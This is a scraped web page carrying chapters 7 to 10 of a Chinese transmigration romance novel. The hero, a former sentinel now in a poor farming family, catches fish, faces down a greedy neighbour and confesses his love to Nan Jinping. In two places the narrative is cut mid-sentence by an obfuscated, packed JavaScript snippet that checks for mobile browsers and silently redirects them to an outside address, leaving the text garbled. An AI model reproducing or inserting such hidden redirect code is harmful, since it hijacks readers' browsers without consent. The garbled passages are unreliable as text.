《满级大佬穿成破落户养夫郎》 7. 搅屎棍三人组之一王氏 “没有,梁伯母有给我送柳树皮水,我自己也偷偷煮过喝。”虽然没有决定到底要不要收下这两尾鱼,但这人到底是来送礼的,南锦屏就不好再冷脸相对。 “我不是有意告诉我娘的,那日被你救上来,我就病了,根本起不来床。我又担心你在河水里泡了那么久会受凉,这才不得已托付我娘给你送碗柳树皮水。” 邴温故赶紧解释,那日南锦屏救了他没在邴家人跟前露面就跑了,肯定是不想被人知道。结果他却告诉了梁氏,这事必须得解释清楚。 “我明白你不想让人知道,所以我除了我娘外,谁也没告诉过。就是我娘,她也发誓不会外说。” 邴温故一脸认真,甚至举手要发誓。那样虔诚的模样让南锦屏一阵恍惚,不知道为何,忽然就觉得今日的邴家大郎似乎与往日不同。 好像是衣服更加干净了,头发也整洁了,身上还有清爽的皂角味,又好像整个人都精气神都不一样了,脊背特别挺拔,如松如柏,似这世间的一切都压不垮他的脊梁。 南锦屏没读过书,不知道该怎样形容现在邴温故身上那种气势,只能想到顶天立地四个字。 面前傲然挺立的男子和村子里任何男子都不一样,矜傲而遗世。 忽然南锦屏的心砰砰乱跳起来,莫名的想到那日他救人上岸,累的瘫倒在岸边,朦朦胧胧里做的那个旖旎的梦。 梦里他和眼前的人那么亲密,做了许多只有夫夫间才能做的事。 清醒过来后的他也曾想起过那个梦,他没少暗暗唾弃自己,认为那是他想男人太过臆想出来的臆念。 他也不知道自己的幻想对象为什么会是邴家大郎,明明从前邴家大郎一直都对他不假辞色,看见他远远就躲开,十分瞧不上他双儿的身份。 当然南锦屏也对从前的邴家大郎没什么好印象就是,从不分担家里的劳动,明明邴家那么穷,还硬要读书,就是一只趴在整个邴家身上吸血的蚂蝗。 他一点都不喜欢以前的邴大郎,甚至心底里隐隐是厌恶的。 可是他却还是做了那样的梦,然而今天看见邴温故,又勾起了他的那个梦,梦里的邴大郎和眼前这个似乎是一个人,和从前的邴大郎不是。 “有人来了。”邴温故身为哨兵,五感发达,就算没把自己原来的身体带过来,他养好伤后,五感还是比普通人敏锐许多。 南锦屏立刻抛却脑中那些乱七八糟的念头,整个人都变得紧张兮兮,双手捏着衣角,紧张地四处张望,“我怎么没听到有声音?” 邴温故没有解释,小声道:“我先走了,以后找机会再来看你。” 邴温故拎起箩筐匆匆离去,不大一会儿,南锦屏的母亲苗氏走了过来,她见南锦屏孤零零独自站在柴火堆旁问道:“锦哥儿,你站在这干什么呢?” 南锦屏还没想好措辞,他箩筐里的鱼先噼里啪啦蹦了起来。 “鱼?”苗氏惊讶道:“你哪里来的这么大个头的鱼?” 南锦屏没跟南家人说过他救过邴温故,不知为何,南锦屏这次也没解释,而是下意识道:“我在河里捉的。” 苗氏双眼怀疑地打量着南锦屏干燥的衣衫,却没过多纠缠,“快进屋,别在门口傻站着了。” 南锦屏如蒙大赦,悄悄松口气。 把鱼送出去了,邴温故心情大好,畅快走回家。 他刚到家没大多一会儿,梁氏等人都回来了。 邴家人都不大高兴,年仅七岁的小人邴三娘小大人似的沉沉叹口气,老气横秋道:“今天上山挖野菜的人太多了,山上野菜都给挖光了,家里都没挖到多少。” 邴温故看到大大的箩筐里只有底部薄薄一层,邴家人一个个脸上笼罩着一层阴郁。 此时不管邴家人各个小心思多少,都一同为粮食发愁。 邴温故大步走到自己房间,把装满大鱼的箩筐抱出来,“耶娘,我今个去河边捉鱼,运气好,捉到一筐大鱼。” 邴家人的视线早在邴温故抱出这筐大鱼的时候眼神就粘在上面,拔都拔不下来。 梁氏面上先是一喜,随后就怨怪道:“你身体都没养好,就下河,要是再有个头疼脑热,你要娘的命吗!” 邴家其他人只管直勾勾盯着箩筐里的鱼,不自觉地吞咽口水。 钱氏就说她要帮忙提水桶,大哥怎么不让,原来搁这等着呢。这是不放心她,特意等婆婆回来,才把鱼拿出来。 钱氏小心思转动,不过她脸皮厚,不在乎这些,什么都不如吃肉重要。 三步并作两步,钱氏走上去,伸手提桶,笑嘻嘻道:“娘,你就别说大哥了,大哥都是为了家里。” 然后又谄媚道:“大哥到底是读书人,就是有本事,不出手则已,一出手就一鸣惊人。咱家还是大哥最有本事,不对,咱村里也没人有大哥这本事。咱家以后的鱼,可就靠大哥了。” “什么靠你大哥,村头那条河里的鱼有多难捉,你又不是不知道。你大哥这次能捉到纯属运气好,难不成以后还指着你大哥回回有这收获。”梁氏劈头盖脸一顿骂。 钱氏讪讪的,不敢还嘴,偷偷撇嘴。 “娘,让二弟妹今晚上做鱼吧。”邴温故能感觉到自己这具身体缺乏营养,邴家人也却营养,都该补补。 梁氏立刻否决道:“不行,一会儿让你二弟妹煮一条小的给你补补身体就行,咱家还吃野菜汤,剩下的鱼,明个都拿到镇上去卖。” 钱氏眼里的光立刻就熄灭了,邴家其他人同样如此,可都知道家里情况,能换粮食还是换粮食,毕竟得先能吃饱,才能要求吃好。 邴温故却道:“娘,家里人身体都不好,都需要补补,咱们今年过年家里都没吃过荤腥,这次就给家里补补吧。等到秋收的时候,家里人也有力气。” 梁氏本来还想拒绝,可是看着脊背挺拔,面容坚毅的儿子到嘴拒绝就说不出来了。 不知道为什么,梁氏总觉得病好的儿子哪里变得不一样了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068334|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梁氏咬牙道:“行,就煮两尾鱼,再加点野菜,今个大家都吃些好的补补,剩下的明个全部拿到家里换粮食。” 邴家孩子爆发出一阵欢呼声,家里大人虽然没有孩子们表现的那么明显,但是一个个也都喜笑颜开,好似过年似的。 这会儿不年不节,村里家家户户都好久没沾肉,邴家这边鱼一下锅,左邻右舍就闻着香味了。 寻着香气找出来,发现做鱼的竟然是邴家这个最穷的人家,一时都不淡定了。 大抵人都有劣根性,看不得曾经不如自己的人突然过的比自己好。 虽说邴家日子也没有多好,不过就是吃顿鱼,但是有些一直瞧不上邴家的村人就不得劲。 凭啥他们都没吃上鱼,邴家这个日子过的最差的倒先吃上了,反倒把他们馋得流口水。 李氏就是不得劲人员之一,她家女儿嫁去镇上,把邴大郎蹬了,邴大郎为此还投了河,不说结了死仇,也差不离了。 李氏自然就不想邴家日子过得好,那怕一年才能吃上一顿肉都不行。 既然她闺女把邴大郎踹了,邴家的日子就应该一日差过一日,最后过的穷困潦倒,才能证明她闺女的选择是正确的。 否则,邴家日子越过越好,她家女儿不就成了一个笑话。 李氏的小心思转了转,就把主意打到同样嫉妒地瞪着邴家的王氏身上。 李氏两眼一弯,笑眯眯道:“王氏,我记得邴家还欠你不少钱没还呢,如今邴家都大鱼大肉的吃上,你家那钱是不是该还了。” 李氏的话提醒了王翠华,是呀,邴家还欠她二十文钱没还呢,她可不用跟这些穷鬼在这忍馋,她可以光明正大的去邴家吃。 操作好了,就能白吃一顿鱼肉。 王氏老鼠眼乱转,扭着身体得意的往邴家走。李氏则是计划得逞的兴奋,能给邴家添堵,不管大事还是小情,她都高兴。 李氏悄悄跟在王氏身后,打算看热闹。村里还有些借了邴家一二十文的人家跟过去,想看看能不能占到便宜,或者要回银钱。 邴家这边刚把一锅鱼汤端上来,一家人围坐在饭桌前,口水都要淌下来的时候,王氏就那么大喇喇闯进来。 农村家家户户没有城里人家的大门,家家都是篱笆围墙,栅栏门,那门就是做个样子,防君子不防小人。 邻里间串门,没人敲门,都是推门就进。不过倒不是谁去谁家串门,都是招呼不打就推门进的,一般走得近的才那么做,关系一般的邻里还要在门口喊两嗓子的。 王氏跟邴家就是关系并不太近的邻里,这动作着实冒失。 王氏最近一次吃肉还是过年的时候,这会闻到浓郁的鱼肉香,眼睛直勾勾的落在饭桌的鱼汤上,眼珠子差点没掉到鱼汤里。 “哎呦呦,嫂子家里好伙食呀,吃鱼肉呢,真香啊,上次我吃肉还是过年的时候呢。”王氏故意这么说,按理,一般人听她这么说,就会顺着她的话说下去,让她留下用饭。 8. 钱氏的小心思 王氏心里想的美,还琢磨着邴家开口相让,她就顺势留下,并让人把家里的小孩子都叫过来。 都是一帮小孩子,邴家还好意思不给吃呀。 可惜邴家跟别家不一样,邴家特别穷,穷得已经揭不开锅。王氏不过是几个月没吃到肉,邴家却是一年多没吃到肉了。 所以即便王氏这么说,邴家也没人开口让。 不过到底家里还欠王氏银钱,梁氏也不能做得太过,只当没听懂王氏的意思,起身笑脸相迎道:“妹子来了,这是有什么事吗?” 王氏见梁氏不接话茬,知道梁氏这是不想留她用饭,暗恨邴家小气。 看着邴家破败的屋子,难怪邴家这么抠搜,这客人来了,撞上饭口都不留饭。 王氏不屑,面上并不掩饰,主要是自觉不需要掩饰,邴家这穷酸的样子,用不到交际。 王氏冷脸道:“呦,嫂子既然装听不懂,那我就只能打开天窗说亮话了,你家这大鱼大肉吃着,欠我家那二十文钱什么时候还?” 梁氏笑容僵了一僵,她家是真还不起,别看邴温故捉了不少鱼,可是家里一粒米都没有了,那些鱼还得拿到镇上换粮食呢。 “大妹子说的哪里话,我家真没钱,这鱼不过是家里大郎在河边捡到的,前些日子大郎遭了大病,这才没舍得卖,寻思着给孩子补补身体。”梁氏解释道。 王氏撇嘴,她才不管梁氏说啥,她来也不是听梁氏解释的,而是想看看有没有办法占到便宜。 王氏阴阳怪气道:“嫂子这日子过得可真奢侈,家里欠着钱,还想着补身体,我家这个被你家欠钱的,还没想着怎样补身体呢。” 梁氏不知道说什么,只能赔笑。 王氏施舍的摆摆手,“行了,你也不用解释了,我知道你家今个还不上钱,这鱼汤我就端走一盆,就当利钱了。” 梁氏当然不能让她就那么端走,钱氏和周氏也不能,三个女人立刻站起来拦在王氏跟前。 王氏立刻叫唤道:“梁氏,你什么意思要打人?” “我家本本分分可不敢打人。”邴温故坐在男人这桌,四平八稳,屁股都没挪一下。 “娘和弟妹们只是不想叫婶子把家里的救命粮食拿走。”邴温故语调慢悠悠的,但是却有一种莫名的威慑力,“婶子想抢我家的救命粮,那就从我娘和弟妹尸体上踏过去。” 邴温故说完,邴二郎、邴三郎、邴四郎和最小的双胞胎都站了起来,异口同声道:“想抢我家救命粮,就从我们尸体上踏过去。” 王氏其实还有些惧怕邴温故,那日邴温故的一个眼神让她连做几夜噩梦,对上邴温故,她还发怵。 邴家人表现出强硬的态度,王氏知道今个占不到便宜,只能骂骂咧咧走了。 跟来同样想占便宜的部分村人,见邴家人不是软柿子,皆免旗息鼓。 跟过来想看邴家热闹的李氏,没看成邴家笑话,心中愤恨,比王氏这个当事人还不甘。 邴家闹了这么大动静,一个村里的南家自然知道。 苗氏瞅了眼自己心虚的小哥儿,道:“今个晚上别做鱼了,明个再做,免得惹麻烦。” 南锦屏点点头,捏着衣角,想到给他送鱼的邴温故,心跳的有些快。 村人都走了,邴家人继续吃饭,对于刚才事情,钱氏跟周氏骂了好久王氏。 就算咒骂,也没耽误钱氏喝鱼汤。这顿鱼汤对于邴家来说,实在太难得了。 钱氏想让自家闺女多吃些,喂了一碗,又去盛。 邴温故无意瞧见,怕孩子吃多了闹肚子就道:“三弟妹,小娘还小,吃不了那么多。” 家里好久没吃过好的了,钱氏只恨不能多给孩子喂些,对于邴温故的话不以为然,讨好对邴温故道:“我们小娘可能吃了,还没吃饱呢,是不是?” 说着捅了捅怀里的闺女,邴小娘才一岁多,她哪里懂得饱不饱,只知道好吃,趴在碗上吨吨吨地喝。 这么小的奶娃娃能吃多点,邴温故纵然再小气也不差这一口吃喝。真心是怕孩子小,吃坏肚子。 梁氏气道:“大郎不要管她,她自己的孩子,自己都不心疼,真要闹肚子,就怪她摊上个不靠谱的娘。” 邴温故就没再管,继续吃自己的饭了。 邴家人真是馋狠了,四斤的鱼,一家都吃了,汤都没剩下。 晚上睡下没多久,邴三郎房里就折腾起来,果然孩子闹肚子了。 那么小的孩子一遍遍拉,哪里能挺住,眼瞅着就不好了。 钱氏哭天抢地,拍着梁氏的房门,“娘,娘啊,求求你救救你孙女吧。” 梁氏气的不行,披上衣服起来骂道:“暮食那会儿,大郎就提醒过你不要给孩子吃那么多鱼汤,你偏不听,好像大郎舍不得似的,现在孩子果然闹肚子了吧。” 梁氏此时真恨不能一巴掌拍死钱氏这个儿媳妇。 老三这个儿媳妇,当初就是邴三郎自己挑的,两人看对眼了,邴三郎就跟家里说了。 梁氏是一点都不同意,可是没办法,拗不过儿子。 梁氏骂道:“如今家里什么情况你们又不是不知道,哪里还有一文钱,但凡还有一个铜板,我早拿镇上买粮食了。” 邴三郎知道母亲说的是真话,他此刻有些恼怒妻子不听劝,非得给孩子喂那么多鱼汤。但是这个时候不是追究妻子的时候,邴三郎转向邴温故。 “大哥,今天的事情都是钱氏不对劲,你别跟他一般见识,看在弟弟的份上,或者看在你小侄女的份上都行,求你救救小娘吧。” 钱氏和邴三郎闹了这么大动静,邴温故也睡不着了,早就起来。 邴温故根本不想管,暮食他就提醒过,搞的好像他舍不得似的。可是孩子到底无辜,邴温故去厨房取了两尾鱼,去了村长家里换了三十文钱给邴三郎和钱氏,让二人赶紧带着孩子去看病。 那两尾鱼有四斤重,这会儿镇上一斤鱼能卖十五文钱,四斤就是六十文。 可是没办法,谁让自家着急用钱,借又借不到,正常价卖,村里人都舍不得买,只能便宜卖了。 不过卖给村长家也不算亏,这些年村长家帮了邴家不 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他身上虽然没有钱,但是车夫看见他箩筐里的鱼,知道他是去卖鱼,不会差他这几文钱,才带他。 坐牛车快多了,也轻省不少。 到了镇上,打听了哪条街最繁华,邴温故就去了那里。 他的鱼肥美,很快就被抢购一空。 除掉自家吃的,送南锦屏的,卖给村长家的,剩下的一共卖了二百八十五文。 邴温故收好钱,打听了哪家粮铺卖的最便宜,邴温故就去那家买粮食。 菽最便宜,十文一升,邴温故买了十升。栗米稍微贵些,十五文一升,同样买了十升,一共花掉二百五十文,剩下三十五文,邴温故没动,留在手中备用。 至于其他东西,邴温故什么都没买,邴家眼下的情况能吃饱饭就可,其他的都是后话。 邴温故在镇上转悠两圈,大致了解了镇上的物价,什么东西最值钱,琢磨着回去搞点。 这次卖鱼不过就是一次投石问路罢了。 回去还是坐村里的牛车,把来时的两文一同结了。 牛车不给送到家门口,都是放在村口,邴温故背着二十升的粮食往家走,到门口就听到梁氏的骂声。 “钱氏,你还有没有良心,家里都什么样了,你还藏这样的小心思。”梁氏骂道:“你明明知道家里现在一粒米都没有了,你哥这次去镇上就是为了卖鱼换些粮食,结果你竟然藏私房。” 钱氏呜呜的哭,并不服气,犟嘴道:“我又不是为了我自己,还不是为了孩子。昨个如果我手里有钱,我早就拿钱给孩子看病去了,还用苦苦哀求这个那个的。” 梁氏气的浑身直哆嗦,“你睁开眼睛看看,村里没分家的小妇人,谁手里有私房钱。就算你手里没有钱,家里也没不给小娘治病。说来说去,你都是为了你自己,你拿那钱就不亏心。那钱可是你大哥拖着病体下河捉鱼换来的,就为了给家里换点粮食。” 9. 表白 邴温故大致听明白了梁氏和钱氏的争吵,八成是昨天他给钱氏看病的钱并没有花光,剩下的叫钱氏给偷偷昧下,被梁氏给发现了。 梁氏继续骂道:“家里什么情况你还能不知道,一粒米都没有了,这十五文能买一升多的粮食呢,掺上野菜,稀稀的煮着,够家里人吃三四天呢。” 邴温故迈进院子,钱氏瞧见邴温故,大概觉得没脸,捂着脸跑回屋。 梁氏则是攥着一个灰扑扑的荷包走过来,看邴温故买回来多少粮食,整个人却还气的哆嗦。 “这些有二十升?”梁氏拎着就估摸出重量。 邴温故点头,“还剩下几十文,我留着用来周转。” 梁氏点头,把手中的荷包递给邴温故,“这是看病剩下的十五文,你都收着吧。” 邴温故没要,“娘,你收着,你手里也留点钱。” 梁氏没再推辞,就收下了。本来邴家没分家,家里银钱就都该梁氏掌管,村里也一直是这个规矩,如果今天卖鱼的不是邴温故,换成其他儿子,梁氏会把剩下的几十文钱一起要回去。 换成这个大儿子,梁氏就有些气短。也不是,准确的说是现在的大儿子。 梁氏总觉得大儿子生了一场病变了很多,有时候让她这个当娘的都有种疏离感。 邴温故把粮食给了梁氏就不管了,他这身体并未好利索,折腾一趟镇上,还真有些累,现在就想躺床上休息下。 邴温故就算躺着,也没有干躺着,而是捧着本书看。 明年二月就是院试,邴温故得抓紧每一刻时间看书。 家里有了粮食,暮食就是野菜粥,虽然还是稀稀的,但好赖是能看到米粒了。 身体缓过来些,邴温故就忍不住不见夫郎,见夫郎可不能空手,邴家没钱,邴温故自己想办法。 村里有山,山上有得是好东西。 邴温故晃晃悠悠往山里走,太深的,他不敢进。他身体并没有完全恢复,对上狼和野猪没有胜算。 他就只进比村人稍微深一点的地方,这里村人不敢来,山里的大型猛兽也不会来,倒是有些小动物。 邴温故捉了两只野鸡,还摸到几个野鸡蛋。 他没把野鸡都拿回邴家,邴家人太多了,要是全部都拿回去,他可能也就能吃上一口。而现在他身体亏空的太厉害,需要好东西进补。 索性就地升火烤了一只野鸡,他自己吃了一半,剩下一半屁颠颠给南锦屏送去。 要不是这副身体需要立刻调养,邴温故就都省下给南锦屏送去了。 “南锦屏,南锦屏……”邴温故下山的时候,正好看见在山上挖野菜的南锦屏,小声叫他。 南锦屏瞧见是他,先是左右环顾一圈,发现没人注意他,这才走过去。 两个人找了一个背人的地方说话,邴温故立刻就把怀里还温热的烤野鸡拿给南锦屏。 南家日子过得也不好,除了过年,吃的最近的那次肉,就是前些日子邴温故送给他的鱼。 现在看见烤的焦黄的野鸡和鼻尖的肉香,南锦屏下意识就咽口口水。 “快吃吧。”邴温故看着南锦屏,想到这个就是自己的夫郎,心里甜滋滋的,“我放在怀里暖着,还热乎呢。” 南锦屏虽然馋得咽口水,可还是强忍住推脱道:“你吃吧,你身体大病初愈,正需要补营养。” 夫郎这是关心他身体呢,邴温故心里欢喜,“你看这是半只,另外半只我吃了,这是专门给你留的。” 南锦屏飞快看了邴温故一眼,就不敢再看他的脸,垂着头,瞅着地上,用脚尖踢着地上的石头。 “我不能要。”南锦屏小声道:“如果你是为了感谢我救过你,你已经给过我鱼了。” “我邴温故的一条命就值两条鱼?你是看不起我吗?”邴温故又把这套说辞搬出来,每次他这么说,南锦屏就不知道该怎么回答了。 邴温故趁机用烤鸡蹭了蹭南锦屏的嘴唇,“你看,这烤鸡都碰你嘴唇了,你不吃,谁还能吃!” 这个借口笨拙得很,南锦屏敢保证,就算碰过他的嘴唇,村里人同样挣着抢着要。 邴温故把烤鸡强硬的塞给南锦屏,“有人过来了,我走了,明天还过来看你。” 邴温故说完就跑了。 “锦哥儿。”苗氏的声音传来,南锦屏下意识把拿着烤鸡的那只手背到身后,没让母亲看到,“你在这里干什么呢?我半天都没看见你了。” 南锦屏对苗氏道:“那边挖野菜的人太多,我见这边没人,就寻思来这边找找看。” 苗氏怀疑地看着儿子,似乎没发现什么异样,“那行,你别走远,这山里不安全。” “嗯,我知道了,娘。”苗氏走远,南锦屏才把烤鸡拿出来,找了一个地方吃起来。 南锦屏也不知道自己为什么没把邴温故的事情告诉他娘,其实他是一个挺听大人话的乖孩子,可是关于邴温故的事情下意识就不想说。 也不知道是太久没吃肉了,还是邴温故烤肉的手艺好,南锦屏觉得这只烤野鸡特别好吃。一开始还是小口小口吃,后来就端不住了,狼吞虎咽起来。 邴温故并没有真的离开,躲在一颗大树后面观察着南锦屏。 一开始看南锦屏吃的香,邴温故还很开心。后面见南锦屏狼吞虎咽,他就心酸了。 不过就是一只野鸡罢了,就把南锦屏吃的这么香,可见南锦屏日子过的多不好。 剩下一只野鸡被邴温故拎回邴家,梁氏看见就埋怨道:“大郎,你上山了,你身体才养好一点,山上那么危险,你不要再去了。” 邴温故道:“运气好,没进深山,在外围捡到的。” 钱氏看见野鸡就眉开眼笑,完全忘记早上的那顿骂,立刻就挤过来,“娘,给我吧,大哥也是为了家里好。” 梁氏骂道:“吃什么吃,整日就知道馋,这野鸡明个叫你大哥拿到镇上换粮食。” 钱氏撇嘴,家里孩子眼神暗淡。 邴温故道:“娘,做给家里人吃吧,家里人都需要补身体,过些时候就要秋收,不补的话,怕到时候家里人受不住辛苦。” 梁氏为难道:“可是家里粮食也不多,就你上次换回来的二十升。” 邴四郎实在馋的厉害,就道:“娘,邴大郎说的有道理,咱家人现在都需要补,要不农忙的时候身体可熬不住。大不了过几天,我再去镇上问问短工,兴许这次能找到活呢。” 邴家人都不是偷奸耍滑的人,实在是镇上就那么点大,农闲的时候愿意打短工的人太多,邴家没有人脉抢不到活干。 梁氏不轻不重喝道:“说过多少次了,不许叫你大兄大郎,叫大哥。” 邴四郎撇嘴,不以为然。 钱氏跟着劝说道:“娘,就做了吧,到时候要是有活让三郎也跟着去。” 反正只要能找到活,家里除了邴大郎,谁也逃不掉。怎么都得去镇上做短工,还不如先把野鸡吃到嘴。 梁氏见家里人都想吃,孩子们更是眼巴眼望地看着她,咬咬牙同意了。 邴家暮食就吃的鸡,把一家人吃的那个香,觉得过年一样。 邴温故兜里还有野鸡蛋,一共四个,没有拿出来,他留给明后天自己吃一个,给南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068336|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦屏送一个,两天正好四个。 邴温故计划的好,到了第二日就给南锦屏送去。 鸡蛋不比别的东西,这玩意好送的很,他跟南锦屏擦肩而过的时候,就把鸡蛋塞进南锦屏手里了,等南锦屏反应过来手里的东西是什么的时候,邴温故已经走远了,南锦屏又不能大庭广众之下还回去,最后就只能收下。 邴温故发现了送鸡蛋的好处,这玩意只要在人多的时候找机会塞给南锦屏,南锦屏就没法拒绝。于是邴温故就山上四处找起了蛋。 这天赶巧掏了一个鸟窝,又得了四枚鸟蛋,就把鸟和鸟蛋都烤好了,揣在怀里去找南锦屏。 “南锦屏,南锦屏……” 现在对于邴温故的声音南锦屏熟悉得很,这几日邴温故天天给他送吃的。 南锦屏站起身,找个机会脱离南家人,跟着南锦屏往人少的小树林里钻。 “给你,我刚掏的鸟窝。”邴温故道:“咱们一人一只鸟,蛋给你三个,我吃两。” 南锦屏这几日已经吃了不少邴温故送给他的东西,这个时候再拒绝就是矫情了。 接过烤鸟吃了起来,这几日被邴温故日日投喂,南锦屏已经没那么馋了,能做到慢斯条理的吃肉了。 南锦屏吃着烤鸟肉,垂着眼睛不知道想什么,忽然道:“邴大郎,如果你是为了感谢我的救命之恩,这些日子送的东西已经够了,以后你就不要再送了。” 这一次邴温故没有用什么难到我的命还不值这点东西的说辞来搪塞南锦屏,而是双眸直勾勾地盯着南锦屏,“南锦屏,你不会真以为我天天给你送我自己都舍不得吃的好东西,真就单纯因为救命之恩吧?” 南锦屏猛地抬头看向邴温故,对上邴温故黑漆漆的双眸,南锦屏的心猛地跳乱了两拍。 南锦屏忽然发现,邴大郎的样貌生的很好。高鼻深目,五官深邃,如同刀刻般英俊。 如今病好了,气色好了,整个人精气神都变了。 纵然穿着破旧的衣衫,却并不显得狼狈,反而有种落难公子的意味。 那是一种股农家人养不出来的矜贵之气。 南锦屏心跳快的,仿佛自己都能听到,他结巴道:“邴大郎,你,你什么意思?” 其实心底已经隐隐约约有了猜测。 一个人对另一个人殷勤备至,日日给对方送好吃的,还能是因为什么,自然是想要追求对方。 无论是谁把这种事情讲给南锦屏听,南锦屏都会给对方这个答案。 但是换成他自己,南锦屏忽然就不确定了。 实在是从小因为双儿的身份,村里的男人就没有一个喜欢南锦屏的。 不但不喜欢,还会绕着他走,好似只要一靠近他,他就会讹上对方,非要对方娶他似的。 甚至南锦屏听到过很多村里汉子背地里议论他,说就算一辈子打光棍,也不会要他。 把他说的那么的不堪,而南锦屏就是听着这样的言论长到大的,所以在这种事情上,他真的没有自信,也无法有自信。 邴温故也没追过人,但是二百五十年的老光棍好不容易看上一个人,那炽热的情感能烤化人。 邴温故直接就道:“当然是在追求你。南锦屏,我喜欢你,想娶你做夫郎。” 南锦屏没想到邴温故会这般直接,他脸上火烧火燎的,“如果是因为救命之恩,你不必做到这种地步,真不用为了报恩搭上自己……” “当然不是,我就是单纯的喜欢你。”邴温故打断南锦屏,“我嘴上说送东西给你,都是为了感谢你的救命之恩,其实不过是接近你的借口罢了。” 10. 周南氏 南锦屏长这么大小,就没被汉子这么直白的表白过,磕巴着,不知道该怎么办才好,同时,心里难免激动 “可,可是你之前不是喜欢李家二娘,喜欢到因为她退亲,你就投河自尽。我不相信,那么浓郁的感情,不过就这么几天而已,转头你就喜欢上我了?” 邴温故激动的解释道:“我才不喜欢那个什么李家二娘子,我长么大,统共跟那个小丫头片子说过的话,都没有咱俩今天一天说的多。” 邴温故可不想自己夫郎误会自己喜欢别人,用力的解释,“我会投河,是被李家人刺激的。李氏来我家退亲,说了很多难听的话,骂我是窝囊废,这辈子都是这个窝囊样,永远不可能考上秀才。还说我家里那么穷,娶什么媳妇,根本就不配娶,娶回来也是跟着我吃苦受穷酸的命。” “我当时也是读书压力有些大,怕今年还考不中,又羞又愤之下一时间想不开就投了河。我投河绝对不是因为喜欢李家那个小丫头,纯粹就是一时之间想不开。” 邴温故怕南锦屏被邴家的穷酸吓到,赶紧道:“死过一次,我想开了许多,发现读书也开窍了,我觉得我这次考试一定能中。而且你别看我家里现在很穷,但是我能赚到钱,我可以发誓,只要你嫁给我,我绝对不让你过一日苦日子,必定会把你捧在手心。” 南锦屏脸上热辣辣的,还是有些不信,“可是从前在村里,你从来都不肯正眼瞧我,每次遇见我远远地就躲开了,好像躲瘟神一样。这你又怎么解释?” 邴温故想骂人,这都是原身的锅,原主有眼无珠,看不到南锦屏的好,可不是他。 原主自持读书人身份,自觉高人一等,确实瞧不上低人一等的双儿。 但是邴温故能瞧上啊,不仅能瞧上,还喜欢得紧。 邴温故撒谎道:“这都怪我那时候身上有婚约,从小指腹为婚,根本没给我选择的机会。有婚约在身上,我越是喜欢就只能越远离,否则又置你于何地,让你做破坏别人感情的第三人,遭万人唾弃吗?” 邴温故道:“我永远不会把我喜欢的你置于那种难堪的境地。” 南锦屏隐隐约约觉得哪里不对劲,但是又说不出来。 邴温故道:“南锦屏,我是真心的,你考虑一下我吧。之前我没跟你明说,是怕你觉得我在威胁你。毕竟那日你跳下河救了我,在某些迂腐之人眼中,我们之间就算有了肌肤之亲。我怕我当时立刻提出娶你,你会以为我在要挟你,心有顾虑,不敢拒绝。怕拒绝后,我就把此事喧嚷出去。” 南锦屏试想了下,如果当时邴温故立刻就来家里提亲,他可能真的会如邴温故说的那般多想。 邴温故道:“按理,结亲这种结两姓之好的大事不该如我这般私下询问你,太冒昧,太不尊重你。可你我情况不同,毕竟有肌肤之亲在先,我不想你误会我威胁你,这才偷偷问你愿不愿意。” 南锦屏低着头,红着脸,“如果,如果我不同意呢?” “不管你同意与否,我都绝不会把你救过我的事说出去。”邴温故道:“我喜欢你的心是真,只要你愿意跟我成亲,我可以发誓绝对不让你受一日苦。” 不让自己受苦的话,南锦屏没放在心上。 邴家穷成什么样了,作为同一个村子住着的南锦屏怎么可能不知道。 南锦屏倒不怕日子苦,他从小吃苦吃惯了,就没过过什么好日子,他怕的是心苦。 “你容我考虑考虑。”南锦屏道。 邴温故没想今个就定下,只想让南锦屏明白他的心意。 “好,我希望你可以认真考虑我,我绝对会让你过上富贵无忧的日子。”邴温故道:“如果你同意,我会尽快让我娘上门提亲,院试马上要开始了,我想在那之前成亲。以免我中秀才后,你我之间的亲事再徒生波折。” 邴温故对这次考试信心十足,不是他骄傲自满。而是他的精神力,哨兵精神力强大,五感发达,换句话就是可以一目十行过目不忘。 就邴温故自己而言,他也不差,在优秀的哨兵中也是最优秀的那个。 不过别人可不知道,所以邴温故说自己能考上,在别人看来就是自不量力,骄傲自大。 南锦屏私心里也是不信的,但没说。 二人分开后,南锦屏回到南家,刚进门就看见正在厨房里忙活的苗氏,连忙进去帮助,抛开心事。 “娘,我来做,你进屋里歇会。”南锦屏道。 “不用,你也挖了一天野菜了,娘来吧。”苗氏心疼南锦屏。 南锦屏同样心疼苗氏,强硬的把苗氏手中的柴火抢下来,自己风风火火忙起来。 南家的日子不好过,那是因为家里穷,南家人都过的苦,南锦屏生在南家自然也过的苦。但南家夫妻绝对没有因为双儿的身份苛待过南锦屏,即便因为家中有个双儿没少被村人嘲笑。 那些嘲笑南锦屏不是不知道,他都知道。甚至村子里有些渣滓,还会特意当着南锦屏的面讥讽他。 因为这些,南锦屏从小养成了倔犟的性格。逼着自己比汉子都能干,一直以来都是家里主要劳动力。这些年来,吃的最少,干的最多的就是他。 看着南锦屏忙碌的背影,想到这个孩子的苦命,苗氏一阵心酸,忙伸手摸去眼角的泪花,就怕南锦屏看见。 暮食毫无新意,野菜粗粮粥。不是就南家吃的差,这个时候家家户户如此,就这还不是谁家都能吃的上,比如邴家。野菜粥里就没有粮食。 南家人围坐在饭桌前吃饭,这么差的伙食,一个个却吃的特别香,好似什么山珍海味似的。 南锦屏那会儿吃了烤鸟肉和烤鸟蛋,不是特别饿,吃的就稍微慢了一些。 